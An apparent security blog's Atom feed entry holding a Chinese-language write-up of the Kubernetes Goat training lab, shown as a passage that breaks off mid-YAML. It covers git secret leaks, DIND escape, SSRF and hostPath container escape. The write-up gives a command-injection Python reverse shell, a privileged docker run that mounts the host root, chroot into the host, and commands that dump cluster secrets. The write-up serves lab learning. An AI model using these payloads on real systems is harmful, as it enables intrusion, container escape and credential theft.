<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>btop251</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://blog.btop251.top/</id>
  <link href="https://blog.btop251.top/" rel="alternate"/>
  <link href="https://blog.btop251.top/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, btop251</rights>
  <subtitle>404 not found</subtitle>
  <title>btop251的博客</title>
  <updated>2026-10-30T16:00:00.000Z</updated>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="Kubernetes-Goat靶场练习1-12题writeup"><a href="#Kubernetes-Goat靶场练习1-12题writeup" class="headerlink" title="Kubernetes Goat靶场练习1-12题writeup"></a>Kubernetes Goat靶场练习1-12题writeup</h1><blockquote><p>大致把k8s的架构学完了，接下来要继续学就是构建，开发那边的东西了，所以直接开始打靶场</p></blockquote><p>Kubernetes Goat 是一个<strong>故意设计存在漏洞的 Kubernetes 集群环境</strong>，专门用于安全学习和实战练习。它由 Madhu Akula 创建，核心目标是让安全研究人员、运维和开发人员能在安全可控的环境中，亲手体验并理解 Kubernetes 环境里真实存在的错误配置和漏洞。</p><h2 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#k8s环境下拉取github项目仓库</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/madhuakula/kubernetes-goat.git</span><br><span class="line"><span class="built_in">cd</span> kubernetes-goat</span><br><span class="line"> </span><br><span class="line"><span class="comment">#部署靶场到Kubernetes集群</span></span><br><span class="line"><span class="built_in">chmod</span> +x setup-kubernetes-goat.sh</span><br><span class="line"> </span><br><span class="line"><span class="comment">#执行部署脚本，创建所有脆弱场景资源</span></span><br><span class="line">bash setup-kubernetes-goat.sh</span><br><span class="line"> </span><br><span class="line">验证Pod状态(等待所有Pod进入Running状态)</span><br><span class="line">kubectl get pods</span><br></pre></td></tr></tbody></table></figure><p>启动访问</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> +x access-kubernetes-goat.sh</span><br><span class="line"> </span><br><span class="line"><span class="comment">#启动端口转发，暴露 Web界面到本地1234 端口</span></span><br><span class="line">bash access-kubernetes-goat.sh</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030124905551.png" alt="image-20261030124905551" loading="eager" decoding="async"></p><blockquote><p>为啥这么多靶场都要叫什么什么goat呢？KubernetesGoat、Cloudgoat、CI/CD Goat</p></blockquote><h2 id="Sensitive-keys-in-codebases"><a href="#Sensitive-keys-in-codebases" class="headerlink" title="Sensitive keys in codebases"></a>Sensitive keys in codebases</h2><p>开发人员往往会将敏感信息提交到版本控制系统中。随着我们向CI/CD 和GitOps系统迈进，我们往往会忘记识别代码和提交中的敏感信息。让我们看看能否在这里找到一些有趣的东西!</p><p>先dirsearch扫一下</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dirsearch -u http://47.129.24.49:1230/</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030125508097.png" alt="image-20261030125508097" loading="lazy" decoding="async"></p><p>发现git泄露</p><p>通过<code>git-dumper</code>将.git拉下来</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git-dumper http://47.129.24.49:1230/.git ./dumped_source</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> dumped_source</span><br><span class="line">git <span class="built_in">log</span></span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030130232025.png" alt="image-20261030130232025" loading="lazy" decoding="async"></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git show d7c173ad183c574109cd5c4c648ffe551755b576</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030130315487.png" alt="image-20261030130315487" loading="lazy" decoding="async"></p><p>泄露了aksk，拿到flag了</p><h3 id="防护"><a href="#防护" class="headerlink" title="防护"></a>防护</h3><p>进入pod</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> POD_NAME=$(kubectl get pods --namespace default -l <span class="string">"app=build-code"</span> -o jsonpath=<span class="string">"{.items[0].metadata.name}"</span>)</span><br><span class="line">kubectl <span class="built_in">exec</span> -it <span class="variable">$POD_NAME</span> -- sh</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">trufflehog file:///app/.git</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030132138244.png" alt="image-20261030132138244" loading="lazy" decoding="async"></p><p>后面看到一坨是因为在pod内部自带的trufflehog是v2的老版本，这个版本发现密钥的方式非常简单粗暴，就是**“高熵值（High Entropy）”检测算法**</p><blockquote><p>在密码学中，“熵”代表随机性和混乱程度。一段有意义的英文（比如 <code>hello_world</code>）熵值很低；而一段毫无规律的随机字符（比如 <code>7rix8v8GpI3ZBb0nSozFRg...</code>）熵值极高。<br>老版本的 <code>trufflehog</code> 逻辑很简单粗暴：<strong>只要它发现文件里有一段长长的、看起来像乱码的随机字符，它就会怀疑这是密钥或 Token，并把它报出来。</strong></p></blockquote><h2 id="DIND-docker-in-docker-exploitation"><a href="#DIND-docker-in-docker-exploitation" class="headerlink" title="DIND (docker-in-docker) exploitation"></a>DIND (docker-in-docker) exploitation</h2><p>大多数使用Docker并在管道中为你构建容器的CI/CD和管道系统都使用了一种叫做DIND(Docker-in-Docker)的技术。简单来说就是在<code>Docker</code>容器中调用和执行宿主机的<code>Docker，</code>在这种情况下,我们试图利用并获取对主机系统的访问权限。</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030135246041.png" alt="image-20261030135246041" loading="lazy" decoding="async"></p><p>好熟悉，首先是一个命令拼接，rce</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">;mount</span><br></pre></td></tr></tbody></table></figure><p>查看当前系统中已经挂载（连接）的文件系统。</p><p>在 Linux 中，所有的设备（硬盘、U 盘、网络存储等）都必须“挂载”到系统的某个目录（挂载点）下，你才能访问里面的文件。<code>mount</code> 命令单独执行时，就是把这些信息全部列出来。</p><p>在 Kubernetes 靶场（或真实的 K8s 环境）中，看 <code>mount</code> 命令的输出极其重要，因为它是<strong>容器逃逸、权限提升</strong>的突破口。</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030140708345.png" alt="image-20261030140708345" loading="lazy" decoding="async"></p><p>在goat中，靶场将宿主机的Docker socket挂载到了容器内部的非标准路径/custom/containerd/containerd.sock</p><p>可以通过下载docker,然后用命令连接可以进行逃逸从而进一步控制主机</p><p>先弹shell，后面方便做一些</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 12345</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1; python3 -c <span class="string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your ip",12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span></span><br></pre></td></tr></tbody></table></figure><p>容器内没有云原生客户端，需要先下载一个</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl.tar.gz</span><br><span class="line">;tar -xvf /tmp/crictl.tar.gz -C /tmp/</span><br></pre></td></tr></tbody></table></figure><p>之后通过socket向宿主机containerd发起命令</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/tmp/crictl -r unix:///custom/containerd/containerd.sock images</span><br></pre></td></tr></tbody></table></figure><p>列举出宿主机的镜像，理论上到这里就完成了，但是还可以进一步的，创建一个挂载在<code>\</code>上的特权镜像，实现容器逃逸</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/tmp/docker/docker -H unix:///custom/containerd/containerd.sock run -it --privileged -v /:/host --<span class="built_in">rm</span> alpine sh</span><br></pre></td></tr></tbody></table></figure><ul><li><code>-H unix://...</code>：让 docker 客户端连上那个 socket，而不是本地默认 socket。</li><li><code>run --privileged</code>：请求宿主机 <code>containerd</code> 在宿主机上启动一个新容器，并赋予它特权。</li><li><code>-v /:/host</code>：把<strong>宿主机的根目录</strong> <code>/</code> 挂载到新容器的 <code>/host</code>。</li></ul><h2 id="SSRF-in-the-Kubernetes-K8S-world"><a href="#SSRF-in-the-Kubernetes-K8S-world" class="headerlink" title="SSRF in the Kubernetes (K8S) world"></a>SSRF in the Kubernetes (K8S) world</h2><p>SSRF(服务器端请求伪造)漏洞已成为针对云原生环境的常用攻击手段。在此场景中，我们将探讨如何通过利用SSRF这类应用程序漏洞来获取对云实例元数据及内部服务元数据信息的访问权限。</p><p>滚木yakit，发100个包失败72个，还ddos把我服务打崩了，就当我爆出来了</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261030210617838.png" alt="image-20261030210617838" loading="lazy" decoding="async"></p><p>访问5000端口返回</p><figure class="highlight text"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"{\"info\": \"Refer to internal http://metadata-db for more information\"}"</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/ec184fe3cc12442f8607b4a16c629fe0.png" alt="img" loading="lazy" decoding="async"></p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/0847b6a0a76841ed9ba28c7e7ff8444a.png" alt="img" loading="lazy" decoding="async"></p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/7cbd61d04a8740d5bd04d6f14040d2cb.png" alt="img" loading="lazy" decoding="async"></p><p>然后解码就好了</p><p>还是ssrf，没看出和k8s有什么联系啊</p><h2 id="Container-escape-to-the-host-system"><a href="#Container-escape-to-the-host-system" class="headerlink" title="Container escape to the host system"></a>Container escape to the host system</h2><p>大多数监控、追踪和调试软件都需要以额外的权限和能力运行。在这种情况下，我们将看到一个具有额外能力和权限（包括HostPath）的Pod，它使我们能够访问主机系统，并提供节点级配置，从而完全控制集群。</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031124611309.png" alt="image-20261031124611309" loading="lazy" decoding="async"></p><p>可以看到这个环境将宿主机挂载到了容器的<code>/host-system</code>目录下</p><p>将/host-system作为根目录开启一个bash</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chroot</span> /host-system bash</span><br></pre></td></tr></tbody></table></figure><blockquote><p>Linux 上所有文件路径都从根 <code>/</code> 开始。<code>chroot</code> 的作用是<strong>把一个目录“伪装”成新的根 <code>/</code></strong>。执行 <code>chroot /host-system bash</code> 后，bash 进程及其子进程看到的所有绝对路径，都以 <code>/host-system</code> 为起点。它看不到 <code>/host-system</code> 之外的文件，以为那就是整个文件系统。</p><p>在你的场景里，<code>/host-system</code> 是 Pod 通过 <code>hostPath</code> 挂载进来的<strong>宿主机根目录</strong>。所以 <code>chroot /host-system bash</code> 的效果是：<strong>你的 shell 以为自己运行在宿主机上，能看到宿主机的 <code>/etc</code>、<code>/var</code>、<code>/root</code></strong>。这就是逃逸的关键一步。</p></blockquote><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031125028855.png" alt="image-20261031125028855" loading="lazy" decoding="async"></p><p>执行之后可以看到目录变成宿主机的根目录，可以窃取宿主机的信息</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031125530732.png" alt="image-20261031125530732" loading="lazy" decoding="async"></p><p>可以看到<code>kubeconfig</code>中暴露了高权限的admin凭证，可以借此控制k8s集群</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes</span><br><span class="line">kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031130250477.png" alt="image-20261031130250477" loading="lazy" decoding="async"></p><p>发现环境变量中没有kubectl，还需要查找，通过绝对路径来引用</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ind / -name kubectl -<span class="built_in">type</span> f 2&gt;/dev/null</span><br></pre></td></tr></tbody></table></figure><h3 id="关于conf"><a href="#关于conf" class="headerlink" title="关于conf"></a>关于conf</h3><p><code>admin.conf</code> 是 <strong>kubeconfig 文件</strong>的一种。它不是用来部署资源的 YAML，而是 <code>kubectl</code> 用来<strong>连接集群、证明身份</strong>的配置文件。</p><p>你可以把它理解成一张“门禁卡”：</p><ul><li><strong>YAML（Deployment 等）</strong>：告诉集群“我要什么”（跑几个副本、用什么镜像）。</li><li><strong>kubeconfig（admin.conf）</strong>：告诉 <code>kubectl</code>“集群在哪、我是谁、我有什么权限”。</li></ul><p>没有 kubeconfig，<code>kubectl</code> 连 API Server 都连不上，YAML 写得再对也部署不出去。</p><p>一个 kubeconfig 通常包含三块：</p><p><strong>1. clusters（集群信息）</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">cluster:</span></span><br><span class="line">    <span class="attr">certificate-authority-data:</span> <span class="string">&lt;Base64</span> <span class="string">编码的</span> <span class="string">CA</span> <span class="string">证书&gt;</span></span><br><span class="line">    <span class="attr">server:</span> <span class="string">https://control-plane.minikube.internal:8443</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mk</span></span><br></pre></td></tr></tbody></table></figure><p>告诉 <code>kubectl</code>：API Server 的地址是什么，用哪个 CA 来验证服务端证书。</p><p><strong>2. users（用户凭证）</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">users:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">kubernetes-admin</span></span><br><span class="line">  <span class="attr">user:</span></span><br><span class="line">    <span class="attr">client-certificate-data:</span> <span class="string">&lt;Base64</span> <span class="string">编码的客户端证书&gt;</span></span><br><span class="line">    <span class="attr">client-key-data:</span> <span class="string">&lt;Base64</span> <span class="string">编码的客户端私钥&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>这是你的“身份证”。K8s 用 TLS 双向认证，API Server 通过这对证书确认“你是谁”。<code>admin.conf</code> 里的证书属于 <code>kubernetes-admin</code>，默认拥有集群管理员权限。</p><p><strong>3. contexts（上下文）</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">contexts:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">context:</span></span><br><span class="line">    <span class="attr">cluster:</span> <span class="string">mk</span></span><br><span class="line">    <span class="attr">user:</span> <span class="string">kubernetes-admin</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kubernetes-admin@mk</span></span><br><span class="line"><span class="attr">current-context:</span> <span class="string">kubernetes-admin@mk</span></span><br></pre></td></tr></tbody></table></figure><p>把“哪个用户”和“哪个集群”绑在一起，并指定当前默认使用哪个。</p><p>所以拿到这个凭证就可以拿到集群管理权限</p><p><strong>使用方式</strong></p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">kubectl --kubeconfig /etc/kubernetes/admin.conf get nodes</span><br><span class="line">kubectl --kubeconfig /etc/kubernetes/admin.conf get pods -A</span><br><span class="line">kubectl --kubeconfig /etc/kubernetes/admin.conf get secrets -A</span><br></pre></td></tr></tbody></table></figure><h2 id="Docker-CIS-benchmarks-analysis"><a href="#Docker-CIS-benchmarks-analysis" class="headerlink" title="Docker CIS benchmarks analysis"></a>Docker CIS benchmarks analysis</h2><p>该场景主要用于在Kubernetes节点上执行Docker CIS基准测试，以识别可能的安全漏洞。<br>要开始此场景，您可以访问节点并按照docker bench security进行操作，或运行以下命令将docker bench security作为DaemonSet部署。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f scenarios/docker-bench-security/deployment.yaml</span><br></pre></td></tr></tbody></table></figure><blockquote><p>=docker-bench-security=:</p><p>​它本质上是一个 Shell 脚本，由 Docker 官方维护，基于 <strong>CIS Docker Benchmark</strong>（互联网安全中心发布的 Docker 安全配置标准）做自动化检查。它会逐项检查宿主机和 Docker 守护进程的配置，输出 <strong>PASS / FAIL / WARN / INFO</strong> 结果。</p></blockquote><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># docker run -it --net host --pid host --userns host --cap-add audit_control \</span></span><br><span class="line"><span class="comment">#     -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \</span></span><br><span class="line"><span class="comment">#     -v /etc:/etc:ro \</span></span><br><span class="line"><span class="comment">#     -v /lib/systemd/system:/lib/systemd/system:ro \</span></span><br><span class="line"><span class="comment">#     -v /usr/bin/containerd:/usr/bin/containerd:ro \</span></span><br><span class="line"><span class="comment">#     -v /usr/bin/runc:/usr/bin/runc:ro \</span></span><br><span class="line"><span class="comment">#     -v /usr/lib/systemd:/usr/lib/systemd:ro \</span></span><br><span class="line"><span class="comment">#     -v /var/lib:/var/lib:ro \</span></span><br><span class="line"><span class="comment">#     -v /var/run/docker.sock:/var/run/docker.sock:ro \</span></span><br><span class="line"><span class="comment">#     --label docker_bench_security \</span></span><br><span class="line"><span class="comment">#     docker/docker-bench-security</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">DaemonSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">docker-bench-security</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">docker-bench</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">docker-bench</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">docker-bench</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">hostPID:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">hostIPC:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">hostNetwork:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">securityContext:</span></span><br><span class="line">        <span class="attr">runAsUser:</span> <span class="number">0</span></span><br><span class="line">      <span class="comment"># Init container to ensure container runtime socket is available</span></span><br><span class="line">      <span class="attr">initContainers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">verify-runtime-socket</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">busybox:latest</span></span><br><span class="line">        <span class="attr">command:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">sh</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">|</span></span><br><span class="line"><span class="string">          echo "Checking for container runtime socket..."</span></span><br><span class="line"><span class="string">          if [ -S /host-root/var/run/docker.sock ]; then</span></span><br><span class="line"><span class="string">            echo "✓ Docker socket found at /var/run/docker.sock"</span></span><br><span class="line"><span class="string">          elif [ -S /host-root/run/docker.sock ]; then</span></span><br><span class="line"><span class="string">            echo "✓ Docker socket found at /run/docker.sock"</span></span><br><span class="line"><span class="string">          elif [ -S /host-root/run/containerd/containerd.sock ]; then</span></span><br><span class="line"><span class="string">            echo "✓ Containerd socket found at /run/containerd/containerd.sock"</span></span><br><span class="line"><span class="string">          else</span></span><br><span class="line"><span class="string">            echo "⚠ No container runtime socket found!"</span></span><br><span class="line"><span class="string">            echo "  This may cause docker-bench-security to fail"</span></span><br><span class="line"><span class="string">          fi</span></span><br><span class="line"><span class="string"></span>        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">host-root</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/host-root</span></span><br><span class="line">          <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">        <span class="attr">securityContext:</span></span><br><span class="line">          <span class="attr">privileged:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">docker-bench</span></span><br><span class="line">          <span class="attr">image:</span> <span class="string">madhuakula/hacker-container</span></span><br><span class="line">          <span class="attr">imagePullPolicy:</span> <span class="string">Always</span></span><br><span class="line">          <span class="attr">command:</span> [<span class="string">"/bin/sh"</span>, <span class="string">"-c"</span>, <span class="string">"sleep infinity"</span>]</span><br><span class="line">          <span class="attr">resources:</span></span><br><span class="line">            <span class="attr">requests:</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">20m</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">50Mi</span></span><br><span class="line">            <span class="attr">limits:</span></span><br><span class="line">              <span class="attr">cpu:</span> <span class="string">50m</span></span><br><span class="line">              <span class="attr">memory:</span> <span class="string">80Mi</span></span><br><span class="line">          <span class="attr">securityContext:</span></span><br><span class="line">            <span class="attr">privileged:</span> <span class="literal">true</span></span><br><span class="line">            <span class="attr">capabilities:</span></span><br><span class="line">              <span class="attr">add:</span> [<span class="string">"AUDIT_CONTROL"</span>]</span><br><span class="line">          <span class="attr">volumeMounts:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">var-lib-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/var/lib</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-lib-systemd-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/usr/lib/systemd</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">etc-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/etc</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">lib-systemd-system-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/lib/systemd/system</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-bin-contained-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/usr/bin/containerd</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-bin-runc-vol</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/usr/bin/runc</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="comment"># Try Docker socket first (common path)</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">docker-sock-volume</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/var/run/docker.sock</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="comment"># Fallback Docker socket path</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">docker-sock-fallback</span></span><br><span class="line">              <span class="attr">mountPath:</span> <span class="string">/run/docker.sock</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">            <span class="comment"># Containerd socket (for environments using containerd)</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">containerd-sock-volume</span></span><br><span 